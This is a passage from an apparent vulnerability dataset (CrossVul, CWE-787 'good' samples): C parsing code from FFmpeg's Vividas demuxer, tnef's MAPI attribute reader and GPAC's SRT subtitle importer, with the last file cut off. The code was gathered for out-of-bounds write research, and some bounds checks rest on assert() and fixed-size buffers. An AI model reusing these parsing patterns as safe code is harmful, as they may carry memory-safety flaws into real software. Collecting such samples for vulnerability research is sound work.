VividasDemuxContext *viv = s->priv_data; int64_t frame; if (stream_index == 0) frame = timestamp; else frame = av_rescale_q(timestamp, s->streams[0]->time_base, s->streams[stream_index]->time_base); for (int i = 0; i < viv->n_sb_blocks; i++) { if (frame >= viv->sb_blocks[i].packet_offset && frame < viv->sb_blocks[i].packet_offset + viv->sb_blocks[i].n_packets) { // flush audio packet queue viv->current_audio_subpacket = 0; viv->n_audio_subpackets = 0; viv->current_sb = i; // seek to ith sb block avio_seek(s->pb, viv->sb_offset + viv->sb_blocks[i].byte_offset, SEEK_SET); // load the block load_sb_block(s, viv, 0); // most problematic part: guess audio offset viv->audio_sample = av_rescale_q(viv->sb_blocks[i].packet_offset, av_make_q(s->streams[1]->codecpar->sample_rate, 1), av_inv_q(s->streams[0]->time_base)); // hand-tuned 1.s a/v offset viv->audio_sample += s->streams[1]->codecpar->sample_rate; viv->current_sb_entry = 0; return 1; } } return 0; } AVInputFormat ff_vividas_demuxer = { .name = "vividas", .long_name = NULL_IF_CONFIG_SMALL("Vividas VIV"), .priv_data_size = sizeof(VividasDemuxContext), .read_probe = viv_probe, .read_header = viv_read_header, .read_packet = viv_read_packet, .read_close = viv_read_close, .read_seek = viv_read_seek, };
./CrossVul/dataset_final_sorted/CWE-787/c/good_4484_0
crossvul-cpp_data_good_3170_0
/* * mapi_attr.c -- Functions for handling MAPI attributes * * Copyright (C)1999-2006 Mark Simpson <damned@theworld.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, you can either send email to this * program's maintainer or write to: The Free Software Foundation, * Inc.; 59 Temple Place, Suite 330; Boston, MA 02111-1307, USA. * */ #ifdef HAVE_CONFIG_H # include "config.h" #endif /* HAVE_CONFIG_H */ #include "common.h" #include "mapi_attr.h" #include "alloc.h" #include "options.h" #include "util.h" #include "write.h" /* return the length padded to a 4 byte boundary */ static size_t pad_to_4byte (size_t length) { return (length+3) & ~3; } /* Copy the GUID data from a character buffer */ static void copy_guid_from_buf (GUID* guid, unsigned char *buf, size_t len) { int i; int idx = 0; assert (guid); assert (buf); CHECKINT32(idx, len); guid->data1 = GETINT32(buf + idx); idx += sizeof (uint32); CHECKINT16(idx, len); guid->data2 = GETINT16(buf + idx); idx += sizeof (uint16); CHECKINT16(idx, len); guid->data3 = GETINT16(buf + idx); idx += sizeof (uint16); for (i = 0; i < 8; i++, idx += sizeof (uint8)) guid->data4[i] = (uint8)(buf[idx]); } /* dumps info about MAPI attributes... useful for debugging */ static void mapi_attr_dump (MAPI_Attr* attr) { char *name = get_mapi_name_str (attr->name); char *type = get_mapi_type_str (attr->type); size_t i; fprintf (stdout, "(MAPI) %s [type: %s] [num_values = %lu] = \n", name, type, (unsigned long)attr->num_values); if (attr->guid) { fprintf (stdout, "\tGUID: "); write_guid (stdout, attr->guid); fputc ('\n', stdout); } for (i = 0; i < attr->num_names; i++) fprintf (stdout, "\tname #%d: '%s'\n", (int)i, attr->names[i].data); for (i = 0; i < attr->num_values; i++) { fprintf (stdout, "\t#%lu [len: %lu] = ", (unsigned long)i, (unsigned long)attr->values[i].len); switch (attr->type) { case szMAPI_NULL: fprintf (stdout, "NULL"); break; case szMAPI_SHORT: write_int16 (stdout, (int16)attr->values[i].data.bytes2); break; case szMAPI_INT: write_int32 (stdout, (int32)attr->values[i].data.bytes4); break; case szMAPI_FLOAT: case szMAPI_DOUBLE: write_float (stdout, (float)attr->values[i].data.bytes4); break; case szMAPI_BOOLEAN: write_boolean (stdout, attr->values[i].data.bytes4); break; case szMAPI_STRING: case szMAPI_UNICODE_STRING: write_string (stdout, (char*)attr->values[i].data.buf); break; case szMAPI_SYSTIME: case szMAPI_CURRENCY: case szMAPI_INT8BYTE: case szMAPI_APPTIME: write_uint64 (stdout, attr->values[i].data.bytes8); break; case szMAPI_ERROR: write_uint32 (stdout, attr->values[i].data.bytes4); break; case szMAPI_CLSID: write_guid (stdout, &attr->values[i].data.guid); break; case szMAPI_OBJECT: case szMAPI_BINARY: { size_t x; for (x = 0; x < attr->values[i].len; x++) { write_byte (stdout, (uint8)attr->values[i].data.buf[x]); fputc (' ', stdout); } } break; default: fprintf (stdout, "<unknown type>"); break; } fprintf (stdout, "\n"); } fflush( NULL ); } static MAPI_Value* alloc_mapi_values (MAPI_Attr* a) { if (a && a->num_values) { a->values = CHECKED_XCALLOC (MAPI_Value, a->num_values); return a->values; } return NULL; } /* 2009/07/07 Microsoft documentation reference: [MS-OXPROPS] v 2.0, April 10, 2009 only multivalue types appearing are: szMAPI_INT, szMAPI_SYSTIME, szMAPI_UNICODE_STRING, szMAPI_BINARY */ /* parses out the MAPI attibutes hidden in the character buffer */ MAPI_Attr** mapi_attr_read (size_t len, unsigned char *buf) { size_t idx = 0; uint32 i,j; assert(len > 4); uint32 num_properties = GETINT32(buf+idx); assert((num_properties+1) != 0); MAPI_Attr** attrs = CHECKED_XMALLOC (MAPI_Attr*, (num_properties + 1)); idx += 4; if (!attrs) return NULL; for (i = 0; i < num_properties; i++) { MAPI_Attr* a = attrs[i] = CHECKED_XCALLOC(MAPI_Attr, 1); MAPI_Value* v = NULL; CHECKINT16(idx, len); a->type = GETINT16(buf+idx); idx += 2; CHECKINT16(idx, len); a->name = GETINT16(buf+idx); idx += 2; /* handle special case of GUID prefixed properties */ if (a->name & GUID_EXISTS_FLAG) { /* copy GUID */ a->guid = CHECKED_XMALLOC(GUID, 1); copy_guid_from_buf(a->guid, buf+idx, len); idx += sizeof (GUID); CHECKINT32(idx, len); a->num_names = GETINT32(buf+idx); idx += 4; if (a->num_names > 0) { /* FIXME: do something useful here! */ size_t i; a->names = CHECKED_XCALLOC(VarLenData, a->num_names); for (i = 0; i < a->num_names; i++) { size_t j; CHECKINT32(idx, len); a->names[i].len = GETINT32(buf+idx); idx += 4; /* read the data into a buffer */ a->names[i].data = CHECKED_XMALLOC(unsigned char, a->names[i].len); assert((idx+(a->names[i].len*2)) <= len); for (j = 0; j < (a->names[i].len >> 1); j++) a->names[i].data[j] = (buf+idx)[j*2]; /* But what are we going to do with it? */ idx += pad_to_4byte(a->names[i].len); } } else { /* get the 'real' name */ CHECKINT32(idx, len); a->name = GETINT32(buf+idx); idx+= 4; } } /* * Multi-value types and string/object/binary types have * multiple values */ if (a->type & MULTI_VALUE_FLAG || a->type == szMAPI_STRING || a->type == szMAPI_UNICODE_STRING || a->type == szMAPI_OBJECT || a->type == szMAPI_BINARY) { CHECKINT32(idx, len); a->num_values = GETINT32(buf+idx); idx += 4; } else { a->num_values = 1; } /* Amend the type in case of multi-value type */ if (a->type & MULTI_VALUE_FLAG) { a->type -= MULTI_VALUE_FLAG; } v = alloc_mapi_values (a); for (j = 0; j < a->num_values; j++) { switch (a->type) { case szMAPI_SHORT: /* 2 bytes */ v->len = 2; CHECKINT16(idx, len); v->data.bytes2 = GETINT16(buf+idx); idx += 4; /* assume padding of 2, advance by 4! */ break; case szMAPI_INT: /* 4 bytes */ v->len = 4; CHECKINT32(idx, len); v->data.bytes4 = GETINT32(buf+idx); idx += 4; v++; break; case szMAPI_FLOAT: /* 4 bytes */ case szMAPI_BOOLEAN: /* this should be 2 bytes + 2 padding */ v->len = 4; CHECKINT32(idx, len); v->data.bytes4 = GETINT32(buf+idx); idx += v->len; break; case szMAPI_SYSTIME: /* 8 bytes */ v->len = 8; CHECKINT32(idx, len); v->data.bytes8[0] = GETINT32(buf+idx); CHECKINT32(idx+4, len); v->data.bytes8[1] = GETINT32(buf+idx+4); idx += 8; v++; break; case szMAPI_DOUBLE: /* 8 bytes */ case szMAPI_APPTIME: case szMAPI_CURRENCY: case szMAPI_INT8BYTE: v->len = 8; CHECKINT32(idx, len); v->data.bytes8[0] = GETINT32(buf+idx); CHECKINT32(idx+4, len); v->data.bytes8[1] = GETINT32(buf+idx+4); idx += v->len; break; case szMAPI_CLSID: v->len = sizeof (GUID); copy_guid_from_buf(&v->data.guid, buf+idx, len); idx += v->len; break; case szMAPI_STRING: case szMAPI_UNICODE_STRING: case szMAPI_OBJECT: case szMAPI_BINARY: CHECKINT32(idx, len); v->len = GETINT32(buf+idx); idx += 4; assert(v->len + idx <= len); if (a->type == szMAPI_UNICODE_STRING) { assert(v->len != 0); v->data.buf = (unsigned char*)unicode_to_utf8(v->len, buf+idx); } else { v->data.buf = CHECKED_XMALLOC(unsigned char, v->len); memmove (v->data.buf, buf+idx, v->len); } idx += pad_to_4byte(v->len); v++; break; case szMAPI_NULL: /* illegal in input tnef streams */ case szMAPI_ERROR: case szMAPI_UNSPECIFIED: fprintf (stderr, "Invalid attribute, input file may be corrupted\n"); if (!ENCODE_SKIP) exit (1); return NULL; default: /* should never get here */ fprintf (stderr, "Undefined attribute, input file may be corrupted\n"); if (!ENCODE_SKIP) exit (1); return NULL; } if (DEBUG_ON) mapi_attr_dump (attrs[i]); } } attrs[i] = NULL; return attrs; } static void mapi_attr_free (MAPI_Attr* attr) { if (attr) { size_t i; for (i = 0; i < attr->num_values; i++) { if ((attr->type == szMAPI_STRING) || (attr->type == szMAPI_UNICODE_STRING) || (attr->type == szMAPI_BINARY)) { XFREE (attr->values[i].data.buf); } } if (attr->num_names > 0) { for (i = 0; i < attr->num_names; i++) { XFREE(attr->names[i].data); } XFREE(attr->names); } XFREE (attr->values); XFREE (attr->guid); memset (attr, '\0', sizeof (MAPI_Attr)); } } void mapi_attr_free_list (MAPI_Attr** attrs) { int i; for (i = 0; attrs && attrs[i]; i++) { mapi_attr_free (attrs[i]); XFREE (attrs[i]); } }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3170_0
crossvul-cpp_data_good_524_0
/* * GPAC - Multimedia Framework C SDK * * Authors: Jean Le Feuvre * Copyright (c) Telecom ParisTech 2000-2012 * All rights reserved * * This file is part of GPAC / Media Tools sub-project * * GPAC is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * GPAC is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * */ #include <gpac/constants.h> #include <gpac/utf.h> #include <gpac/xml.h> #include <gpac/token.h> #include <gpac/color.h> #include <gpac/internal/media_dev.h> #include <gpac/internal/isomedia_dev.h> #ifndef GPAC_DISABLE_ISOM_WRITE void gf_media_update_bitrate(GF_ISOFile *file, u32 track); enum { GF_TEXT_IMPORT_NONE = 0, GF_TEXT_IMPORT_SRT, GF_TEXT_IMPORT_SUB, GF_TEXT_IMPORT_TTXT, GF_TEXT_IMPORT_TEXML, GF_TEXT_IMPORT_WEBVTT, GF_TEXT_IMPORT_TTML, GF_TEXT_IMPORT_SWF_SVG, }; #define REM_TRAIL_MARKS(__str, __sep) while (1) { \ u32 _len = (u32) strlen(__str); \ if (!_len) break; \ _len--; \ if (strchr(__sep, __str[_len])) __str[_len] = 0; \ else break; \ } \ s32 gf_text_get_utf_type(FILE *in_src) { u32 read; unsigned char BOM[5]; read = (u32) fread(BOM, sizeof(char), 5, in_src); if ((s32) read < 1) return -1; if ((BOM[0]==0xFF) && (BOM[1]==0xFE)) { /*UTF32 not supported*/ if (!BOM[2] && !BOM[3]) return -1; gf_fseek(in_src, 2, SEEK_SET); return 3; } if ((BOM[0]==0xFE) && (BOM[1]==0xFF)) { /*UTF32 not supported*/ if (!BOM[2] && !BOM[3]) return -1; gf_fseek(in_src, 2, SEEK_SET); return 2; } else if ((BOM[0]==0xEF) && (BOM[1]==0xBB) && (BOM[2]==0xBF)) { gf_fseek(in_src, 3, SEEK_SET); return 1; } if (BOM[0]<0x80) { gf_fseek(in_src, 0, SEEK_SET); return 0; } return -1; } static GF_Err gf_text_guess_format(char *filename, u32 *fmt) { char szLine[2048]; u32 val; s32 uni_type; FILE *test = gf_fopen(filename, "rb"); if (!test) return GF_URL_ERROR; uni_type = gf_text_get_utf_type(test); if (uni_type>1) { const u16 *sptr; char szUTF[1024]; u32 read = (u32) fread(szUTF, 1, 1023, test); if ((s32) read < 0) { gf_fclose(test); return GF_IO_ERR; } szUTF[read]=0; sptr = (u16*)szUTF; /*read = (u32) */gf_utf8_wcstombs(szLine, read, &sptr); } else { val = (u32) fread(szLine, 1, 1024, test); if ((s32) val<0) return GF_IO_ERR; szLine[val]=0; } REM_TRAIL_MARKS(szLine, "\r\n\t ") *fmt = GF_TEXT_IMPORT_NONE; if ((szLine[0]=='{') && strstr(szLine, "}{")) *fmt = GF_TEXT_IMPORT_SUB; else if (szLine[0] == '<') { char *ext = strrchr(filename, '.'); if (!strnicmp(ext, ".ttxt", 5)) *fmt = GF_TEXT_IMPORT_TTXT; else if (!strnicmp(ext, ".ttml", 5)) *fmt = GF_TEXT_IMPORT_TTML; ext = strstr(szLine, "?>"); if (ext) ext += 2; if (ext && !ext[0]) { if (!fgets(szLine, 2048, test)) szLine[0] = '\0'; } if (strstr(szLine, "x-quicktime-tx3g") || strstr(szLine, "text3GTrack")) *fmt = GF_TEXT_IMPORT_TEXML; else if (strstr(szLine, "TextStream")) *fmt = GF_TEXT_IMPORT_TTXT; else if (strstr(szLine, "tt")) *fmt = GF_TEXT_IMPORT_TTML; } else if (strstr(szLine, "WEBVTT") ) *fmt = GF_TEXT_IMPORT_WEBVTT; else if (strstr(szLine, " --> ") ) *fmt = GF_TEXT_IMPORT_SRT; /* might want to change the default to WebVTT */ gf_fclose(test); return GF_OK; } #define TTXT_DEFAULT_WIDTH 400 #define TTXT_DEFAULT_HEIGHT 60 #define TTXT_DEFAULT_FONT_SIZE 18 #ifndef GPAC_DISABLE_MEDIA_IMPORT void gf_text_get_video_size(GF_MediaImporter *import, u32 *width, u32 *height) { u32 w, h, f_w, f_h, i; GF_ISOFile *dest = import->dest; if (import->text_track_width && import->text_track_height) { (*width) = import->text_track_width; (*height) = import->text_track_height; return; } f_w = f_h = 0; for (i=0; i<gf_isom_get_track_count(dest); i++) { switch (gf_isom_get_media_type(dest, i+1)) { case GF_ISOM_MEDIA_SCENE: case GF_ISOM_MEDIA_VISUAL: case GF_ISOM_MEDIA_AUXV: case GF_ISOM_MEDIA_PICT: gf_isom_get_visual_info(dest, i+1, 1, &w, &h); if (w > f_w) f_w = w; if (h > f_h) f_h = h; gf_isom_get_track_layout_info(dest, i+1, &w, &h, NULL, NULL, NULL); if (w > f_w) f_w = w; if (h > f_h) f_h = h; break; } } (*width) = f_w ? f_w : TTXT_DEFAULT_WIDTH; (*height) = f_h ? f_h : TTXT_DEFAULT_HEIGHT; } void gf_text_import_set_language(GF_MediaImporter *import, u32 track) { if (import->esd && import->esd->langDesc) { char lang[4]; lang[0] = (import->esd->langDesc->langCode>>16) & 0xFF; lang[1] = (import->esd->langDesc->langCode>>8) & 0xFF; lang[2] = (import->esd->langDesc->langCode) & 0xFF; lang[3] = 0; gf_isom_set_media_language(import->dest, track, lang); } } #endif char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicode_type) { u32 i, j, len; char *sOK; char szLineConv[1024]; unsigned short *sptr; memset(szLine, 0, sizeof(char)*lineSize); sOK = fgets(szLine, lineSize, txt_in); if (!sOK) return NULL; if (unicode_type<=1) { j=0; len = (u32) strlen(szLine); for (i=0; i<len; i++) { if (!unicode_type && (szLine[i] & 0x80)) { /*non UTF8 (likely some win-CP)*/ if ((szLine[i+1] & 0xc0) != 0x80) { szLineConv[j] = 0xc0 | ( (szLine[i] >> 6) & 0x3 ); j++; szLine[i] &= 0xbf; } /*UTF8 2 bytes char*/ else if ( (szLine[i] & 0xe0) == 0xc0) { szLineConv[j] = szLine[i]; i++; j++; } /*UTF8 3 bytes char*/ else if ( (szLine[i] & 0xf0) == 0xe0) { szLineConv[j] = szLine[i]; i++; j++; szLineConv[j] = szLine[i]; i++; j++; } /*UTF8 4 bytes char*/ else if ( (szLine[i] & 0xf8) == 0xf0) { szLineConv[j] = szLine[i]; i++; j++; szLineConv[j] = szLine[i]; i++; j++; szLineConv[j] = szLine[i]; i++; j++; } else { i+=1; continue; } } szLineConv[j] = szLine[i]; j++; } szLineConv[j] = 0; strcpy(szLine, szLineConv); return sOK; } #ifdef GPAC_BIG_ENDIAN if (unicode_type==3) { #else if (unicode_type==2) { #endif i=0; while (1) { char c; if (!szLine[i] && !szLine[i+1]) break; c = szLine[i+1]; szLine[i+1] = szLine[i]; szLine[i] = c; i+=2; } } sptr = (u16 *)szLine; i = (u32) gf_utf8_wcstombs(szLineConv, 1024, (const unsigned short **) &sptr); if (i >= (u32)ARRAY_LENGTH(szLineConv)) return NULL; szLineConv[i] = 0; strcpy(szLine, szLineConv); /*this is ugly indeed: since input is UTF16-LE, there are many chances the fgets never reads the \0 after a \n*/ if (unicode_type==3) fgetc(txt_in); return sOK; } #ifndef GPAC_DISABLE_MEDIA_IMPORT static GF_Err gf_text_import_srt(GF_MediaImporter *import) { FILE *srt_in; u32 track, timescale, i, count; GF_TextConfig*cfg; GF_Err e; GF_StyleRecord rec; GF_TextSample * samp; GF_ISOSample *s; u32 sh, sm, ss, sms, eh, em, es, ems, txt_line, char_len, char_line, nb_samp, j, duration, rem_styles; Bool set_start_char, set_end_char, first_samp, rem_color; u64 start, end, prev_end, file_size; u32 state, curLine, line, len, ID, OCR_ES_ID, default_color; s32 unicode_type; char szLine[2048], szText[2048], *ptr; unsigned short uniLine[5000], uniText[5000], *sptr; srt_in = gf_fopen(import->in_name, "rt"); gf_fseek(srt_in, 0, SEEK_END); file_size = gf_ftell(srt_in); gf_fseek(srt_in, 0, SEEK_SET); unicode_type = gf_text_get_utf_type(srt_in); if (unicode_type<0) { gf_fclose(srt_in); return gf_import_message(import, GF_NOT_SUPPORTED, "Unsupported SRT UTF encoding"); } cfg = NULL; if (import->esd) { if (!import->esd->slConfig) { import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->predefined = 2; import->esd->slConfig->timestampResolution = 1000; } timescale = import->esd->slConfig->timestampResolution; if (!timescale) timescale = 1000; /*explicit text config*/ if (import->esd->decoderConfig && import->esd->decoderConfig->decoderSpecificInfo->tag == GF_ODF_TEXT_CFG_TAG) { cfg = (GF_TextConfig *) import->esd->decoderConfig->decoderSpecificInfo; import->esd->decoderConfig->decoderSpecificInfo = NULL; } ID = import->esd->ESID; OCR_ES_ID = import->esd->OCRESID; } else { timescale = 1000; OCR_ES_ID = ID = 0; } if (cfg && cfg->timescale) timescale = cfg->timescale; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { gf_fclose(srt_in); return gf_import_message(import, gf_isom_last_error(import->dest), "Error creating text track"); } gf_isom_set_track_enabled(import->dest, track, 1); import->final_trackID = gf_isom_get_track_id(import->dest, track); if (import->esd && !import->esd->ESID) import->esd->ESID = import->final_trackID; if (OCR_ES_ID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, OCR_ES_ID); /*setup track*/ if (cfg) { char *firstFont = NULL; /*set track info*/ gf_isom_set_track_layout_info(import->dest, track, cfg->text_width<<16, cfg->text_height<<16, 0, 0, cfg->layer); /*and set sample descriptions*/ count = gf_list_count(cfg->sample_descriptions); for (i=0; i<count; i++) { GF_TextSampleDescriptor *sd= (GF_TextSampleDescriptor *)gf_list_get(cfg->sample_descriptions, i); if (!sd->font_count) { sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup("Serif"); } if (!sd->default_style.fontID) sd->default_style.fontID = sd->fonts[0].fontID; if (!sd->default_style.font_size) sd->default_style.font_size = 16; if (!sd->default_style.text_color) sd->default_style.text_color = 0xFF000000; /*store attribs*/ if (!i) rec = sd->default_style; gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &state); if (!firstFont) firstFont = sd->fonts[0].fontName; } gf_import_message(import, GF_OK, "Timed Text (SRT) import - text track %d x %d, font %s (size %d)", cfg->text_width, cfg->text_height, firstFont, rec.font_size); gf_odf_desc_del((GF_Descriptor *)cfg); } else { u32 w, h; GF_TextSampleDescriptor *sd; gf_text_get_video_size(import, &w, &h); /*have to work with default - use max size (if only one video, this means the text region is the entire display, and with bottom alignment things should be fine...*/ gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); sd = (GF_TextSampleDescriptor*)gf_odf_desc_new(GF_ODF_TX3G_TAG); sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup(import->fontName ? import->fontName : "Serif"); sd->back_color = 0x00000000; /*transparent*/ sd->default_style.fontID = 1; sd->default_style.font_size = import->fontSize ? import->fontSize : TTXT_DEFAULT_FONT_SIZE; sd->default_style.text_color = 0xFFFFFFFF; /*white*/ sd->default_style.style_flags = 0; sd->horiz_justif = 1; /*center of scene*/ sd->vert_justif = (s8) -1; /*bottom of scene*/ if (import->flags & GF_IMPORT_SKIP_TXT_BOX) { sd->default_pos.top = sd->default_pos.left = sd->default_pos.right = sd->default_pos.bottom = 0; } else { if ((sd->default_pos.bottom==sd->default_pos.top) || (sd->default_pos.right==sd->default_pos.left)) { sd->default_pos.left = import->text_x; sd->default_pos.top = import->text_y; sd->default_pos.right = (import->text_width ? import->text_width : w) + sd->default_pos.left; sd->default_pos.bottom = (import->text_height ? import->text_height : h) + sd->default_pos.top; } } /*store attribs*/ rec = sd->default_style; gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &state); gf_import_message(import, GF_OK, "Timed Text (SRT) import - text track %d x %d, font %s (size %d)", w, h, sd->fonts[0].fontName, rec.font_size); gf_odf_desc_del((GF_Descriptor *)sd); } gf_text_import_set_language(import, track); duration = (u32) (((Double) import->duration)*timescale/1000.0); default_color = rec.text_color; e = GF_OK; state = 0; end = prev_end = 0; curLine = 0; txt_line = 0; set_start_char = set_end_char = GF_FALSE; char_len = 0; start = 0; nb_samp = 0; samp = gf_isom_new_text_sample(); first_samp = GF_TRUE; while (1) { char *sOK = gf_text_get_utf8_line(szLine, 2048, srt_in, unicode_type); if (sOK) REM_TRAIL_MARKS(szLine, "\r\n\t ") if (!sOK || !strlen(szLine)) { rec.style_flags = 0; rec.startCharOffset = rec.endCharOffset = 0; if (txt_line) { if (prev_end && (start != prev_end)) { GF_TextSample * empty_samp = gf_isom_new_text_sample(); s = gf_isom_text_to_sample(empty_samp); gf_isom_delete_text_sample(empty_samp); if (state<=2) { s->DTS = (u64) ((timescale*prev_end)/1000); s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); nb_samp++; } gf_isom_sample_del(&s); } s = gf_isom_text_to_sample(samp); if (state<=2) { s->DTS = (u64) ((timescale*start)/1000); s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; prev_end = end; } txt_line = 0; char_len = 0; set_start_char = set_end_char = GF_FALSE; rec.startCharOffset = rec.endCharOffset = 0; gf_isom_text_reset(samp); //gf_import_progress(import, nb_samp, nb_samp+1); gf_set_progress("Importing SRT", gf_ftell(srt_in), file_size); if (duration && (end >= duration)) break; } state = 0; if (!sOK) break; continue; } switch (state) { case 0: if (sscanf(szLine, "%u", &line) != 1) { e = gf_import_message(import, GF_CORRUPTED_DATA, "Bad SRT formatting - expecting number got \"%s\"", szLine); goto exit; } if (line != curLine + 1) gf_import_message(import, GF_OK, "WARNING: corrupted SRT frame %d after frame %d", line, curLine); curLine = line; state = 1; break; case 1: if (sscanf(szLine, "%u:%u:%u,%u --> %u:%u:%u,%u", &sh, &sm, &ss, &sms, &eh, &em, &es, &ems) != 8) { sh = eh = 0; if (sscanf(szLine, "%u:%u,%u --> %u:%u,%u", &sm, &ss, &sms, &em, &es, &ems) != 6) { e = gf_import_message(import, GF_CORRUPTED_DATA, "Error scanning SRT frame %d timing", curLine); goto exit; } } start = (3600*sh + 60*sm + ss)*1000 + sms; if (start<end) { gf_import_message(import, GF_OK, "WARNING: overlapping SRT frame %d - starts "LLD" ms is before end of previous one "LLD" ms - adjusting time stamps", curLine, start, end); start = end; } end = (3600*eh + 60*em + es)*1000 + ems; /*make stream start at 0 by inserting a fake AU*/ if (first_samp && (start>0)) { s = gf_isom_text_to_sample(samp); s->DTS = 0; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; } rec.style_flags = 0; state = 2; if (end<=prev_end) { gf_import_message(import, GF_OK, "WARNING: overlapping SRT frame %d end "LLD" is at or before previous end "LLD" - removing", curLine, end, prev_end); start = end; state = 3; } break; default: /*reset only when text is present*/ first_samp = GF_FALSE; /*go to line*/ if (txt_line) { gf_isom_text_add_text(samp, "\n", 1); char_len += 1; } ptr = (char *) szLine; { size_t _len = gf_utf8_mbstowcs(uniLine, 5000, (const char **) &ptr); if (_len == (size_t) -1) { e = gf_import_message(import, GF_CORRUPTED_DATA, "Invalid UTF data (line %d)", curLine); goto exit; } len = (u32) _len; } i=j=0; rem_styles = 0; rem_color = 0; while (i<len) { u32 font_style = 0; u32 style_nb_chars = 0; u32 style_def_type = 0; if ( (uniLine[i]=='<') && (uniLine[i+2]=='>')) { style_nb_chars = 3; style_def_type = 1; } else if ( (uniLine[i]=='<') && (uniLine[i+1]=='/') && (uniLine[i+3]=='>')) { style_def_type = 2; style_nb_chars = 4; } else if (uniLine[i]=='<') { const unsigned short* src = uniLine + i; size_t alen = gf_utf8_wcstombs(szLine, 2048, (const unsigned short**) & src); szLine[alen] = 0; strlwr(szLine); if (!strncmp(szLine, "<font ", 6) ) { char *a_sep = strstr(szLine, "color"); if (a_sep) a_sep = strchr(a_sep, '"'); if (a_sep) { char *e_sep = strchr(a_sep+1, '"'); if (e_sep) { e_sep[0] = 0; font_style = gf_color_parse(a_sep+1); e_sep[0] = '"'; e_sep = strchr(e_sep+1, '>'); if (e_sep) { style_nb_chars = (u32) (1 + e_sep - szLine); style_def_type = 1; } } } } else if (!strncmp(szLine, "</font>", 7) ) { style_nb_chars = 7; style_def_type = 2; font_style = 0xFFFFFFFF; } //skip unknown else { char *a_sep = strstr(szLine, ">"); if (a_sep) { style_nb_chars = (u32) (a_sep - szLine); i += style_nb_chars; continue; } } } /*start of new style*/ if (style_def_type==1) { /*store prev style*/ if (set_end_char) { assert(set_start_char); gf_isom_text_add_style(samp, &rec); set_end_char = set_start_char = GF_FALSE; rec.style_flags &= ~rem_styles; rem_styles = 0; if (rem_color) { rec.text_color = default_color; rem_color = 0; } } if (set_start_char && (rec.startCharOffset != j)) { rec.endCharOffset = char_len + j; if (rec.style_flags) gf_isom_text_add_style(samp, &rec); } switch (uniLine[i+1]) { case 'b': case 'B': rec.style_flags |= GF_TXT_STYLE_BOLD; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; break; case 'i': case 'I': rec.style_flags |= GF_TXT_STYLE_ITALIC; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; break; case 'u': case 'U': rec.style_flags |= GF_TXT_STYLE_UNDERLINED; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; break; case 'f': case 'F': if (font_style) { rec.text_color = font_style; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; } break; } i += style_nb_chars; continue; } /*end of prev style*/ if (style_def_type==2) { switch (uniLine[i+2]) { case 'b': case 'B': rem_styles |= GF_TXT_STYLE_BOLD; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; break; case 'i': case 'I': rem_styles |= GF_TXT_STYLE_ITALIC; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; break; case 'u': case 'U': rem_styles |= GF_TXT_STYLE_UNDERLINED; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; break; case 'f': case 'F': if (font_style) { rem_color = 1; set_end_char = GF_TRUE; rec.endCharOffset = char_len + j; } } i+=style_nb_chars; continue; } /*store style*/ if (set_end_char) { gf_isom_text_add_style(samp, &rec); set_end_char = GF_FALSE; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; rec.style_flags &= ~rem_styles; rem_styles = 0; rec.text_color = default_color; rem_color = 0; } uniText[j] = uniLine[i]; j++; i++; } /*store last style*/ if (set_end_char) { gf_isom_text_add_style(samp, &rec); set_end_char = GF_FALSE; set_start_char = GF_TRUE; rec.startCharOffset = char_len + j; rec.style_flags &= ~rem_styles; } char_line = j; uniText[j] = 0; sptr = (u16 *) uniText; len = (u32) gf_utf8_wcstombs(szText, 5000, (const u16 **) &sptr); gf_isom_text_add_text(samp, szText, len); char_len += char_line; txt_line ++; break; } if (duration && (start >= duration)) { end = 0; break; } } /*final flush*/ if (end && !(import->flags & GF_IMPORT_NO_TEXT_FLUSH ) ) { gf_isom_text_reset(samp); s = gf_isom_text_to_sample(samp); s->DTS = (u64) ((timescale*end)/1000); s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; gf_isom_set_last_sample_duration(import->dest, track, 0); } else { if (duration && (start >= duration)) { gf_isom_set_last_sample_duration(import->dest, track, (timescale*duration)/1000); } else { gf_isom_set_last_sample_duration(import->dest, track, 0); } } gf_isom_delete_text_sample(samp); gf_set_progress("Importing SRT", nb_samp, nb_samp); exit: if (e) 